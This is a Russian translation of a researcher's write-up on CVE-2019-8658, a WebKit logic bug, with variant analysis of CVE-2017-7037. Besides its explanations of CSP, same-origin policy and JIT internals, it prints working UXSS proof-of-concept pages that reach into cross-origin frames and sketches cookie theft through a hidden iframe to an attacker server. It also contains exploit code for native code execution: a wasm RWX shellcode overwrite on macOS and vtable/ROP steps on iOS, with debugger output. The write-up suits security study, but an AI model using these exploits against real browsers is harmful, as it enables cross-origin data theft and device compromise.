CVE-2019-8658 - Захват Webkit
Life-Hack [Жизнь-Взлом]/Хакинг0 - Введение
В этой статье описывается процесс обнаружения и эксплуатации ряда логических ошибок в Webkit, который разбивает полностью всю модель безопасности браузера на части.
Весьма прискорбно, что ошибка UXSS уже была передана в Apple в 2017 году, и стало возможным исключить существование этого варианта, просто поискав другие экземпляры этого шаблона в базе кода.
1 - Обзор CSP:
1.1 - Определения:
1.1.1 - XSS
ОТ [1]:
"Межсайтовый скриптинг (XSS) - это атака с внедрением кода на стороне клиента. Злоумышленник стремится выполнить вредоносные сценарии в веб-браузере жертвы путем включения вредоносного кода в веб-страницу законного сайта или в веб-приложение. Фактическая атака происходит, когда жертва посещает веб-страницу или веб-приложение, которое выполняет вредоносный код. Веб-страница или веб-приложение становятся средством доставки вредоносного скрипта в браузер пользователя. Уязвимые средства транспортировки, которые обычно используются для межсайтовых скриптинговых атак, - это форумы, доски объявлений и веб-страницы, которые позволяют оставлять комментарии."
1.1.2 - UXSS
ОТ [2]:
"В отличие от обычных XSS-атак, UXSS - это тип атаки, который использует уязвимости на стороне клиента в браузере или расширения браузера для того, чтобы создать условия для выполнения XSS, и выполнить вредоносный код. Когда такие уязвимости обнаруживаются и используются, затрагивается поведение браузера и его функции безопасности могут быть обойдены или отключены."
1.1.3 - CSP
С mozilla.org [3]:
"Политика безопасности контента (Content Security Policy - CSP) - это дополнительный уровень безопасности, который помогает обнаруживать и уменьшать вероятность положительного исхода некоторых типов атак, в том числе Межсайтовый скриптинг (XSS) и атак с использованием внедрения данных(data injection attacks). Эти атаки используются для всего: от кражи данных до порчи сайтов и распространения вредоносных программ.
[...]
[...]
Угрозы.
Основная цель CSP состоит в том, чтобы уменьшить вероятность положительного исхода (смягчить) и сообщить об XSS-атаках. Атаки XSS используют доверие браузера к контенту, полученному с сервера. Вредоносные сценарии выполняются браузером жертвы, потому что браузер доверяет источнику контента, даже если он не исходит оттуда, откуда он кажется, что исходит и должен исходить."
1.1.4 - SOP
Из wikipedia.org [4]:
"В вычислительной технике политика того же происхождения является важной концепцией в модели безопасности веб-приложений. В соответствии с этой политикой веб-браузер разрешает сценариям, содержащимся на первой веб-странице, доступ к данным на второй веб-странице, но только если обе веб-страницы имеют одинаковое происхождение. Источник определяется как комбинация схемы URI, имени хоста и номера порта. Эта политика запрещает вредоносному сценарию на одной странице получать доступ к конфиденциальным данным на другой веб-странице через объектную модель документа (Document Object Model) этой страницы."
1.2 - Реализация CSP в Webkit - краткий обзор
Для обеспечения CSP в браузере Safari основные определения реализованы в:
webkit/tree/master/Source/WebCore/page/csp[5].
Читателю рекомендуется взглянуть на реализацию самостоятельно, но мы бы описали некоторые основные функции и использование этой реализации в webkit:
В общем, если мы посмотрим на …/ContentSecurityPolicy.cpp из источника [5], мы можем увидеть набор API, которые будут использоваться рендерером и другими DOM Компонентами. В качестве примера мы рассмотрим следующий конструктор:
C++:
ContentSecurityPolicy::ContentSecurityPolicy(URL&& protectedURL,
ContentSecurityPolicyClient* client)
: m_client { client }
, m_protectedURL { WTFMove(protectedURL) }
{
updateSourceSelf(SecurityOrigin::create(m_protectedURL).get());
}
Как мы видим, при создании объекта DOM, при рендеринге или с помощью DOM API, политика CSP инициирована, чтобы быть проверенной позже для любых возможных violations. Предоставляется дополнительный набор API. Например, для проверки доступа на странице, следующий класс реализован внутри webkit/blob/master/Source/WebCore/page/SecurityOrigin.cpp#L1866 [6]:
C++:
Ref<SecurityOrigin> SecurityOrigin::create(const URL& url)
{
if (RefPtr<SecurityOrigin> cachedOrigin = getCachedOrigin(url))
return cachedOrigin.releaseNonNull();
if (shouldTreatAsUniqueOrigin(url))
return adoptRef(*new SecurityOrigin);
if (shouldUseInnerURL(url))
return adoptRef(*new SecurityOrigin(extractInnerURL(url)));
return adoptRef(*new SecurityOrigin(url));
}
Например, этот класс содержит следующую функцию API:
Код:
bool SecurityOrigin::canAccess(const SecurityOrigin& other) const
Позже в /Source/WebCore/bindings/js/JSDOMBindingSecurity.cpp [7] этот API-интерфейс публикуется для API-интерфейса DOM и используется процессом визуализации для проверки разрешений на доступ к DOM из-за ограничений CSP:
Код:
bindings/js/JSDOMWindowCustom.cpp#L424 [8]:
bool JSDOMWindow::defineOwnProperty(JSC::JSObject* object,
JSC::ExecState* exec, JSC::PropertyName propertyName,
const JSC::PropertyDescriptor& descriptor, bool shouldThrow)
{
JSDOMWindow* thisObject = jsCast<JSDOMWindow*>(object);
// Позволять таким образом определять свойства только для фреймов с тем же источником,
// поскольку это позволяет вводить сеттеры.
if (!BindingSecurity::shouldAllowAccessToDOMWindow(exec,
thisObject->wrapped(), ThrowSecurityError))
return false;
// Не разрешайте теневое местоположение, используя свойства аксессора.
if (descriptor.isAccessorDescriptor() &&
propertyName == Identifier::fromString(exec, "location"))
return false;
return Base::defineOwnProperty(thisObject, exec, propertyName,
descriptor, shouldThrow);
}
В приведенной выше функции читатель должен увидеть, что прежде чем мы сможем использовать API Javascript, defineOwnProperty, JSDOMWindow API проверяет правильность разрешений, переходя к API, реализованным в [7] и определенным в [6]. Эта проверка выполняется из-за динамического характера JavaScript. Имеется ввиду даже если мы не можем загрузить скрипт напрямую к какому-либо объекту.
Определение свойства для объекта с перекрестным происхождением может вызвать обратные вызовы и привести к произвольному выполнению JavaScript в доменах с перекрестным происхождением, иными словами, доменах с разными источниками (cross-origin domains) -> что ведет к нарушению CSP.
2 - Попадание в пути уязвимого кода
2.1 - Любопытное утверждение (assert)
Во время фаззинга [9] JSC, для ошибок проверки памяти, я столкнулся со следующим тестом:
Файл assert.js:
JavaScript:
function opt(fn) {
for ( let ttt = 0; ttt < 400; ttt ++){
fn[ttt] = 1;
}
function dummy() {}
const p = parseFloat.__proto__;
const h = {
get:dummy,
set:dummy
};
Object.defineProperty(p,12345,h);
fn[300000000] = 17;
}
opt(Map);
Ожидаемая трассировка стека из отладочной сборки:
Код:
ASSERTION FAILED: !needsSlowPutIndexing(vm) .../trunk/Source/JavaScriptCore/runtime/JSObject.cpp(1684) : JSC::ArrayStorage *JSC::JSObject::ensureArrayStorageSlow(JSC::VM &) 1 0x1177feed9 WTFCrash 2 0x10a4f9660 WTF::BasicRawSentinelNode<Worker>::remove() 3 0x116b84bb4 JSC::JSObject::ensureArrayStorageSlow(JSC::VM&) 4 0x116b86358 bool JSC::JSObject::putByIndexBeyondVectorLengthWithoutAttributes<(unsigned char)8>(JSC::ExecState*,unsigned,int, JSC::JSValue) 5 0x116b90c89 JSC::JSObject::putByIndexBeyondVectorLength(JSC::ExecState*, unsigned int, JSC::JSValue, bool) 6 0x116b72f8b JSC::JSObject::putByIndex(JSC::JSCell*, JSC::ExecState*, unsigned int, JSC::JSValue, bool) 7 0x116b7215a JSC::JSObject::putByIndex(JSC::JSCell*, JSC::ExecState*, unsigned int, JSC::JSValue, bool) 8 0x114b29b2b JSC::JSObject::putInlineForJSObject(JSC::JSCell*, JSC::ExecState*, JSC::PropertyName, JSC::JSValue,JSC::PutPropertySlot&) 9 0x114b28f80 JSC::JSCell::putInline(JSC::ExecState*, JSC::PropertyName, JSC::JSValue, JSC::PutPropertySlot&) 10 0x114b304fe JSC::JSValue::putInline(JSC::ExecState*, JSC::PropertyName, JSC::JSValue, JSC::PutPropertySlot&) 11 0x1160fe6cc JSC::putByVal(JSC::ExecState*, JSC::JSValue, JSC::JSValue, JSC::JSValue, JSC::ByValInfo*) 12 0x1160fc3b8 operationPutByValOptimize 13 0x248355c02a6d 14 0x1162865f3 llint_entry 15 0x116273242 vmEntryToJavaScript 16 0x115f10a19 JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) 17 0x115f0e31d JSC::Interpreter::executeProgram(JSC::SourceCode const&, JSC::ExecState*, JSC::JSObject*) 18 0x116834a75 JSC::evaluate(JSC::ExecState*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) 19 0x10a5c0d90 runWithOptions(GlobalObject*, CommandLine&, bool&) 20 0x10a550574 jscmain(int, char**)::$_4::operator()(JSC::VM&, GlobalObject*, bool&) const 21 0x10a4fe9b6 int runJSC<jscmain(int, char**)::$_4>(CommandLine const&, bool, jscmain(int, char**)::$_4 const&) 22 0x10a4fadae jscmain(int, char**) 23 0x10a4fab6e main 24 0x7fff7624c3d5 start Illegal instruction: 4
2.2 - Некоторые основные понятия
Что мне нравится делать, когда я сталкиваюсь с новым сбоем, так это смотреть на то, как ругается git. После поиска нескольких, я наконец получил этот коммит: d3506e647787358365cb5aac9e769cbfeadf9c38 [10]
Давайте процитируем немного объяснения автора об этом утверждении:
"Для тех, кто не знаком с терминологией, «have a bad time» в VM означает, что Object.prototype был изменен таким образом, что мы больше не можем тривиально осуществлять доступ к индексированным свойствам, не обращаясь к Object.prototype. Это побеждает оптимизацию проиндексированного вывода JIT и, следовательно, заставляет виртуальную машину «have a bad time»."
2.2.1 - Доступы к проиндексированному свойству
Цель этой статьи - не предоставить глубокий анализ Jit-компиляции, поэтому будут обсуждаться только самые базовые идеи, необходимые для понимания этой уязвимости.
Давайте рассмотрим следующий код JavaScript:
JavaScript:
function add(arr){
return arr[0] + arr[1];
}
let a = [1,2]; [@]
for ( let y = 0; y < 0x1234; y++){
let re = add(a);
}
В современном движке JavaScript оптимизаторы компилятора используются для перевода кода JavaScript в машинный код. Давайте рассмотрим замену строки, отмеченной [@], следующим кодом:
Код:
let a = ['a', 2];
При вызове функции «добавить». Дополнение может иметь два разных машинных кода. Это означает, что добавление строкового объекта и числа (в JavaScript) приведет к появлению полученной строки (в этом примере) «a2». Машинный код и номер операции будут сильно отличаться от исходного примера: в общих чертах нам необходимо:
*) загрузить индексированное свойство данного аргумента.
*) загрузить второе свойство данного аргумента.
*) преобразовать второй аргумент в строку.
*) вычислить сложение строки.
Напротив, исходный пример будет производить (грубо) следующее:
*) загрузить индексированное свойство данного аргумента.
*) загрузить второе свойство данного аргумента.
*) проверка на переполнение целочисленного сложения
*) вычислить сложение Int32.
Jit-компилятор предназначен для учета этих различий в целях экономии времени выполнения. При многократном обращении к определенному ArrayLike объекту, компилятор обращается (в JSC) к типу индексации этого объекта и генерирует оптимизированный код для этой операции.
Независимый тип определяется по адресу: IndexingType.h [11] и представляет собой структуру данных cpp в форме:
Код:
/*
Структура IndexingType
=============================
Концептуально, IndexingTypeAndMisc выглядит следующим образом:
struct IndexingTypeAndMisc {
struct IndexingModeIncludingHistory {
struct IndexingMode {
struct IndexingType {
uint8_t isArray:1; // bit 0
uint8_t shape:3; // bit 1 - 3
};
uint8_t copyOnWrite:1; // bit 4
};
uint8_t mayHaveIndexedAccessors:1; // bit 5
};
uint8_t cellLockBits:2; // bit 6 - 7
};
Значения формы (например, Int32Shape, ContiguousShape и т.д.)
являются перечислением различных форм (хотя и не обязательно
последовательными с точки зрения их значений).
Следовательно, значения формы не являются побитовым
исключением по отношению друг к другу.
Также принято ссылаться на форму + copyOnWrite как
IndexingShapeWithWritability.
*/
Итак, мы можем видеть, что компилятор может, например, проверить в этом примере тип индексации объекта, к которому осуществляется доступ, и затем продолжить выполнение, если действительно найден тот же тип индексации, или выгрузить и перекомпилировать функцию для выдачи другой и более подходящий байт-код для операции доступа.
2.2.2 - «Have A bad time»
О прототипе JavaScript:
спецификация JavaScript определяет прототип объекта как метод для расширения или изменения поведения определенного объекта или класса объектов.
как утверждает MDN [12]:
"Изменения в объекте-прототипе Object видятся всеми объектами через цепочку прототипов, если только свойства и методы, подверженные этим изменениям, не переопределяются далее по цепочке прототипов. Это обеспечивает очень мощный, хотя и потенциально опасный механизм для переопределения или расширения поведения объекта."
Теперь давайте рассмотрим следующий код:
Код:
function add(arr){
return arr[0] + arr[1];
}
let a = [1,2];
Object.defineProperty(a, 0, {
get: function(){return 'a';}
});
for ( let y = 0; y < 0x1234; y++){
let re = add(a);
}
Как мы видим, «прототип» объекта «а» был изменен. И теперь полученное дополнение будет таким же, как и второй пример, приведенный в разделе предварительного просмотра(секции previews). И мы уже обсуждали разницу в работе компилятора. Как заявлено автором соответствующего коммита, который добавил обсужденное выше утверждение(assert). Когда прототип объекта был изменен, допущения JIT компиляторов были нарушены, и он должен обратиться к прототипу. В JSC это состояние называется режимом «have a bad time».
2.3 - Проверка нашего Понимания первоначального сбоя
Давайте вернемся к файлу assert:
Код:
function opt(fn) {
for ( let ttt = 0; ttt < 400; ttt ++){
fn[ttt] = 1; [1]
}
function dummy() {}
const p = parseFloat.__proto__; [2]
const h = {
get:dummy,
set:dummy
};
Object.defineProperty(p,12345,h); [3]
fn[300000000] = 17; [4]
}
opt(Map);
Зацикленный доступ, отмеченный [1], заставляет компилятор оптимизировать доступ к данному функции аргументу.
В этом примере мы отправляем функцию Map в качестве инструмента, таким образом, при доступе к прототипу parseFloat в строке [2] мы также получаем доступ к прототипу Map, поскольку они оба наследуются от глобального объекта Function. Затем в [3] из-за последней указанной строки мы меняем прототип оптимизированного для доступа объекта.
Позже в [4] мы вызываем испущенный putByValOptimize (из-за [1]) и утверждаем, потому что компилятор вызывает putByIndexBeyondVectorLengthWithoutAttributes, который преобразует доступ к этому объекту в тип индексации режима словаря.
Эта функция всегда вызывает JSC::JSObject::ensureArrayStorageSlow. Но тип хранилища - это быстрый путь, о чем свидетельствует «operationPutByValOptimize» в трассировке стека.
Основные моменты, которые следует принять здесь:
1) putByIndex, putByIndexBeyondVectorLength не принимает во внимание изменения в прототипе объекта, и это только позже делается другой функцией в трассировке стека.
2) при определенных условиях operationPutByValOptimize является оберткой вокруг JSC::JSValue::putInline and JSC::JSValue::put (как общая ссылка на все виды функций, начинающиеся с ::put ::push и т.д и т.п.).
3) putbeyondvectorlength обеспечивает медленное хранение массивов и утверждает, что это не так. Но мы добавили доступ к индексированным свойствам, тогда мы должны быть там уже - это означает, что им не удалось смоделировать это правильно.
Поэтому теперь нам нужно задать себе следующие вопросы:
2.3.1 - RCE ??
Если мы должны были быть в «have a bad time», а putbeyondvectorlength обеспечивает медленное хранение массива.. и утверждает, что это не так (а если у нас «плохое время»(«have a bad time»), то мы должны быть там уже) и побочный эффект на совмещенном JIT коде моделируется с помощью HaveABadTime, тогда мы можем вызывать побочные эффекты в этом совмещенном коде.
qwerty также написал хороший PoC для этого здесь.
По крайней мере, они нашли способ исправить несколько экземпляров одним ударом...
это исправлено с помощью: https://github.com/WebKit/webkit/commit/fa191875bb1cce51822bef7135633bc004e6b322
2.3.2 - UXSS ??
Но, глядя на это поведение, я подумал о другом вопросе:
КТО получает прототип (Prototype) ???
2.4 - Анализ вариантов - CVE-2017-7037.
CVE-2017-7037 был обнаружен lokihardt [13] из проекта Google Project Zero [14], в апреле 2017 года. Отчет можно увидеть на трекере проблем (issue tracker) [15]
Давайте посмотрим на PoC (Proof-of-Concept) и описание этой уязвимости, данное искателем в отчете баг-трака ([15]):
«JSObject::putInlineSlow and JSValue::putToPrimitive использование getPrototypeDirect вместо getPrototype, чтобы получить прототип объекта.
Так что JSDOMWindow::getPrototype, который проверяет ту же политику происхождения (Same Origin Policy), не вызывается.
PoC показывает вызов установщика объекта другого происхождения.
PoC 1 - JSValue::putToPrimitive:
Код:
<body>
<script>
let f = document.body.appendChild(document.createElement('iframe'));
let loc = f.contentWindow.location;
f.onload = () => {
let a = 1.2;
a.__proto__.__proto__ = f.contentWindow;
a['test'] = {toString: function () {
arguments.callee.caller.constructor('alert(location)')();
}};
};
f.src = 'data:text/html,' + `<iframe></iframe><script>
Object.prototype.__defineSetter__('test', v => {
'a' + v;
});
</scrip` + `t>`;
</script>
</body>
»
С учетом фона, приведенного в разделе 1.3 в этой статье, читатель должен понять основную причину этой уязвимости из описания lokihardt.
2.4.1 - Реальная эксплуатация CVE-2017-7037.
если бы вы посетили исходный отчет на Google Project Zero баг-трекере [15], вы бы увидели комментарий 5:
«Комментарий 5 от cainiao…@gmail.com, Вторник, 25 июля 2017 г., 15:29 GMT+3
я не вижу, как использовать кто-нибудь может сказать мне?»
Как описано в разделе 1.3, и при условии, что мы сохраним следующий PoC в файл с именем «poc.html» и запустим его в уязвимой версии Apple Safari.
Затем просмотр раздела сети в WebInspector покажет, что мы получили два разных источника в документе:
file:// и data/… . Теперь приведенный здесь комментарий не является избыточным, поскольку это кажется нереальной проблемой: если мы можем создать iframe, где мы уже можем запускать код в (data/..), то почему это вообще проблема?
Проницательный читатель должен заметить, что замена источника данных ‘data/..’ на любой другой результат все равно приведет к присвоению свойства прототипу перекрестного происхождения.
Итак, «реальная эксплуатация» этой ошибки будет иметь вид:
*) найдите интересующий вас перекрестный домен, скажем: juicy-data.com.
*) найти доступ к некоторому определенному свойству, которое может вызвать callback (toString, valueOf),
Пример: сравнивая этот объект (а затем вызывается valueOf или toString).
Доступ к этому свойству может быть сделан с любой "боковой" загрузкой JavaScript на этот сайт.
*) Определите valueOf, обратный вызов toString для извлечения данных из этого источника, например: с помощью выдачи XMLHttpRequest, который отправляет данные document.cookie обратно на сервер, контролируемый злоумышленником.
*) Разместите страницу эксплойта, которая встраивает домен juicy-data.com в скрытый iframe и запускает на этой странице JavaScript с указанной логической проблемой.
2.4.2 - Об исправлении Apple для CVE-2017-7037.
Выполнение кода PoC CVE-2017-7037 в Safari не приведет к созданию CSP. Violation. Вместо этого кажется, что Apple исправило ошибку, заставив соответствующие операции использовать getPrototype вместо getPrototypeDirect, поэтому мы, по сути, больше не можем удерживать прототип перекрестного происхождения(cross origin prototype), поэтому мы не получим CSP violation.. Но если мы запустим следующий JavaScript код, мы сможем увидеть, что мы получаем CSP violation в отладчике:
Код:
<body>
<script>
let f = document.body.appendChild(document.createElement('iframe'));
let loc = f.contentWindow.location;
f.onload = () => {
let a = 1.2;
Object.defineProperty(a.__proto__,'__proto__',f.contentWindow); // Изменено..
a['test'] = {toString: function () {
arguments.callee.caller.constructor('alert(location)')();
}};
};
f.src = 'data:text/html,' + `<iframe></iframe><script>
Object.prototype.__defineSetter__('test', v => {
'a' + v;
});
</scrip` + `t>`;
</script>
</body>
Консольный вывод:
Код:
SecurityError: Blocked a frame with origin "null" from accessing a cross-origin frame. Protocols, domains, and ports must match.
Например: ‘let v = f.contentWindow.eval’, приведет к violation.
Поэтому разработчикам нужно проверять каждую операцию, включая назначения через обсуждаемые операции.. имея два API-интерфейса: getprototype -> приводит к привязкам DOM и getprototypedirect, они в основном создали этот класс ошибок обхода CSP.. по-моему, это ошибка известного шаблона проектирования, которая может привести разработчиков к ошибкам.
3 - Обход SOP
С учетом приведенного выше анализа и после рассмотрения соответствующих функций в трассировке стека assert, можно построить следующие обходы для CVE-2017-7037:
Код:
<body>
<script>
let f = document.body.appendChild(document.createElement("iframe"));
f.onload = () => {
let a = {__proto__:f.contentWindow};
a[0] = {toString: function () {
arguments.callee.caller.constructor('alert(location)')();
}};
}
f.src = 'data:text/html;charset=utf-8,' + escape("<ifra"+"me></ifr"+"ame><scr"+"ipt>Object.prototype.__defineSetter__(0, v => {'a' + v;});</scr"+"ipt>");
</script>
</body>
Код:
<body>
<script>
let f = document.body.appendChild(document.createElement("iframe"));
f.onload = () => {
let a = [];
for (let ttt = 0; ttt < 0x400; ttt++){
a[ttt] = '';
}
a.__proto__.__proto__ = f.contentWindow;
a[10101010] = {toString: function () {
arguments.callee.caller.constructor('alert(location)')();
}};
}
f.src = 'data:text/html;charset=utf-8,' + escape("<ifra"+"me></ifr"+"ame><scr"+"ipt>Object.defineProperty(Object.prototype, 10101010, {set: function (v) {return 'a' + v;}});</scr"+"ipt>");
</script>
</body>
[и так далее]
Вам предлагается прочитать патч (обратите внимание на cocoa..).
Дальнейшие манипуляции оставлены в качестве упражнения для читателя.
4 - RCE Эксплоиты
(см. html-файлы для code execution эксплойтов):
UXSS
MacOS
IOS
4.1 - Ограничения
В текущей версии Safari (и последующих) распыления структуры более не достаточно (чтобы подделать произвольный объект).
Необходимо найти способ утечки действительного идентификатора структуры, используя творческие методы или высококачественную утечку информации, такую как эта ошибка
#
(обратите внимание, что этой ошибки было достаточно для самостоятельного использования webkit на рабочем столе, даже с учетом всех новых мер по снижению риска).
Помимо этого, насколько мне известно, это должно работать так же...
4.2 - MacOS
Все, что нам нужно сделать для достижения выполнения собственного кода, это перезаписать функцию wasm.
как это выделено r/w/x.
По сути, это то, что делает эксплойт.
Код:
// переписать инструкции
// в функции Wasm и вызвать его
// для выполнения шеллкода..
const wasm_code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,0x00, 0x00, 0x41, 0x00, 0x0b]);
const wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
const wasm_func = wasm_instance.exports.a;
let pexe = addrof(wasm_instance.exports.a);
let eaddress = memory.read_i64(Add(pexe, new Int64('0x30')),0);
memory.write_i64( eaddress , 0, new Int64('0xcccccccccccccccc') );
wasm_func();
4.3 - iOS <A12
Без PAC мы можем перезаписать указатель виртуальной функции div и другие поля, чтобы запустить ROP.
Следующего кода (с модификациями для поля 'b' для хранения цепочки цепочек) достаточно, так как вы можете извлечь регистры из начальной точки ROP цепочки со смещением 0x18 внутри объекта, а затем продолжить, как написано в [16].
(но не забудьте уважать ARM64 alignment..)
Код:
let buff = {
a: 2261634.5098039214, // + 0x10
b: 2261634.5098039214, // + 0x18 <--- [rax] || [x0]
c: 2261634.5098039214, // + 0x20
// ...
// ...
}
let addx = addrof(buff);
var d = document.getElementById("a");
let ad_div = addrof(d);
let exe_ptr = memory.read_i64(Add(ad_div, new Int64('0x18')),0);
let v_tlb = memory.read_i64(exe_ptr,0);
// let web_core = Sub(v_tlb,new Int64('0x5024be70')); // safari 12.1.1 -> macos корректирует смещение для ios..
/*
результат с:
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
frame #0: 0x00007fff4b5d5898 WebCore`WebCore::jsEventTargetPrototypeFunctionDispatchEvent(JSC::ExecState*) + 152
WebCore`WebCore::jsEventTargetPrototypeFunctionDispatchEvent:
-> 0x7fff4b5d5898 <+152>: call qword ptr [rax]
0x7fff4b5d589a <+154>: cmp eax, 0x26
0x7fff4b5d589d <+157>: jne 0x7fff4b5d58c8 ; <+200>
0x7fff4b5d589f <+159>: mov rdi, rbx
(lldb) reg r
General Purpose Registers:
rax = 0x000000056a47fdf8 <-- указывает на то, что внутри объекта+0x18 || x0
(lldb) x/10gx $rax --считать 1
0x56a47fdf8: 0x4142414141414141 || x8
rbx = 0x000000056df00240 <-- указывает на объект+0x18,
(lldb) x/10gx $rbx --считать 1
0x56df00240: 0x000000056a47fdf8
(lldb)
rdi = 0x000000056df00240 <-- указывает на объект+0x18, || x20
Exception Type: EXC_BAD_ACCESS (SIGBUS)
Exception Subtype: EXC_ARM_DA_ALIGN at 0x0042414141414141
VM Region Info: 0x42414141414141 is not in any region. Bytes after previous region: 18649030044188994
REGION TYPE START - END [ VSIZE] PRT/MAX SHRMOD REGION DETAIL
JS JIT generated code 0000000f96108000-0000000f9610c000 [ 16K] ---/rwx SM=NUL
Thread 0 name: Dispatch queue: com.apple.main-thread
Thread 0 Crashed:
0 ??? 0x0042414141414141 0 + 18649096986378561
1 ??? 0x0000000f8e10c200 0 + 66807972352
2 ??? 0x0000000f8e12f770 0 + 66808117104
3 JavaScriptCore 0x00000001918f53c4 0x1916d4000 + 2233284
4 JavaScriptCore 0x00000001918f53c4 0x1916d4000 + 2233284
Thread 0 crashed with ARM Thread State (64-bit):
x0: 0x0000000105c00240 x1: 0x0000000000000010 x2: 0x0000000000000001 x3: 0x000000016f2c5848
x4: 0x00000001087a0780 x5: 0x000000016f2c55c0 x6: 0x0000000102ef0c40 x7: 0x0000000000000000
x8: 0x4142414141414141 x9: 0x000000010801cfb0 x10: 0x0000000000000005 x11: 0x0000000000000000
x12: 0x00000001baef0ec8 x13: 0x00000000cf0dc550 x14: 0x000000000000000f x15: 0x0000000000000000
x16: 0x0000000000000000 x17: 0x00000001032114a0 x18: 0x0000000000000000 x19: 0x000000016f2c5980
x20: 0x0000000105c00240 x21: 0xffff000000000002 x22: 0x0000000000000002 x23: 0x000000016f2c5fc8
x24: 0x000000010489ed60 x25: 0x0000000104804010 x26: 0x0000000102cb1c00 x27: 0xffff000000000000
x28: 0xffff000000000002 fp: 0x000000016f2c5970 lr: 0x00000001931a2d78
sp: 0x000000016f2c5920 pc: 0x0042414141414141 cpsr: 0x80000000
*/
memory.write_i64(exe_ptr,0,new Int64(Add(addx, new Int64('0x18'))));
d.dispatchEvent(new Event('click'));
4.4 - A12
Будь креативным!
4.5 - Заметка и Подсказка об исправлении рендерера для обхода SOP.
Каждая загруженная страница (объект документа - document object) будет иметь связанный объект "SecurityOrigin. В то время как часть UXSS популярна, вы должны заметить, что есть другие поля, кроме m_universal_access =)
Давайте просто скажем, что если вы перейдете в локальное хранилище, то сможете прочитать некоторые визуализируемые локальные файлы, а broker также примет протокол и «хост», принимая решение предоставить доступ к определенным действиям…
5 - Рекомендации
Я не буду создавать никаких других статей для описания иных ошибок, которые я нашел в webkit, но они будут загружены в мой git в конечном итоге..
Для дальнейшего чтения о других классах ошибок UXSS я рекомендую:
https://ai.google/research/pubs/pub48028
https://www.zerodayinitiative.com/advisories/ZDI-19-683/
https://support.apple.com/en-us/HT210346
https://www.acunetix.com/websitesecurity/cross-site-scripting/
https://www.acunetix.com/blog/articles/universal-cross-site-scripting-uxss/
https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
https://en.wikipedia.org/wiki/Same-origin_policy
https://github.com/WebKit/webkit/tree/master/Source/WebCore/page/csp
https://github.com/WebKit/webkit/blob/master/Source/WebCore/page/SecurityOrigin.cpp#L1866
https://github.com/WebKit/webkit/blob/89c28d471fae35f1788a0f857067896a10af8974/Source/WebCore/bindings/js/JSDOMBindingSecurity.cpp
https://github.com/WebKit/webkit/blob/5cf2d3ed6657a12a51898d9bb0377aab0ef260a1/Source/WebCore/bindings/js/JSDOMWindowCustom.cpp#L424
https://en.wikipedia.org/wiki/Fuzzing
https://github.com/WebKit/webkit/commit/d3506e647787358365cb5aac9e769cbfeadf9c38
https://github.com/WebKit/webkit/blob/85a3183f296802817525ce6b0b33d911bf588312/Source/JavaScriptCore/runtime/IndexingType.h
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype
https://bugs.chromium.org/u/64750745/
https://googleprojectzero.blogspot.com/
https://bugs.chromium.org/p/project-zero/issues/detail?id=1240
https://t.co/0AkPMpaNc7
Минимальный PoC & ref для кода эксплойта:
Код:
/*
[0] https://bugs.webkit.org/show_bug.cgi?id=196315
[1] http://rce.party/wtf.js
[2] https://github.com/saelo/cve-2018-4233
[3] https://github.com/LinusHenze/WebKit-RegEx-Exploit
вот как я узнал об этой ошибке (после того, как подробности о других уязвимостях станут общедоступными,
тогда будет полная техническая рецензия на эту тему):
function opt(fn) {
for ( let ttt = 0; ttt < 400; ttt ++){
fn[ttt] = 1;
}
function dummy() {}
const p = parseFloat.__proto__;
const h = {
get:dummy,
set:dummy
};
Object.defineProperty(p,12345,h);
fn[300000000] = 17;
}
opt(Map);
ASSERTION FAILED: !needsSlowPutIndexing(vm)
.../trunk/Source/JavaScriptCore/runtime/JSObject.cpp(1684) : JSC::ArrayStorage *JSC::JSObject::ensureArrayStorageSlow(JSC::VM &)
1 0x1177feed9 WTFCrash
2 0x10a4f9660 WTF::BasicRawSentinelNode<Worker>::remove()
3 0x116b84bb4 JSC::JSObject::ensureArrayStorageSlow(JSC::VM&)
4 0x116b86358 bool JSC::JSObject::putByIndexBeyondVectorLengthWithoutAttributes<(unsigned char)8>(JSC::ExecState*,unsigned,int, JSC::JSValue)
5 0x116b90c89 JSC::JSObject::putByIndexBeyondVectorLength(JSC::ExecState*, unsigned int, JSC::JSValue, bool)
6 0x116b72f8b JSC::JSObject::putByIndex(JSC::JSCell*, JSC::ExecState*, unsigned int, JSC::JSValue, bool)
7 0x116b7215a JSC::JSObject::putByIndex(JSC::JSCell*, JSC::ExecState*, unsigned int, JSC::JSValue, bool)
8 0x114b29b2b JSC::JSObject::putInlineForJSObject(JSC::JSCell*, JSC::ExecState*, JSC::PropertyName, JSC::JSValue,JSC::PutPropertySlot&)
9 0x114b28f80 JSC::JSCell::putInline(JSC::ExecState*, JSC::PropertyName, JSC::JSValue, JSC::PutPropertySlot&)
10 0x114b304fe JSC::JSValue::putInline(JSC::ExecState*, JSC::PropertyName, JSC::JSValue, JSC::PutPropertySlot&)
11 0x1160fe6cc JSC::putByVal(JSC::ExecState*, JSC::JSValue, JSC::JSValue, JSC::JSValue, JSC::ByValInfo*)
12 0x1160fc3b8 operationPutByValOptimize
13 0x248355c02a6d
14 0x1162865f3 llint_entry
15 0x116273242 vmEntryToJavaScript
16 0x115f10a19 JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*)
17 0x115f0e31d JSC::Interpreter::executeProgram(JSC::SourceCode const&, JSC::ExecState*, JSC::JSObject*)
18 0x116834a75 JSC::evaluate(JSC::ExecState*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&)
19 0x10a5c0d90 runWithOptions(GlobalObject*, CommandLine&, bool&)
20 0x10a550574 jscmain(int, char**)::$_4::operator()(JSC::VM&, GlobalObject*, bool&) const
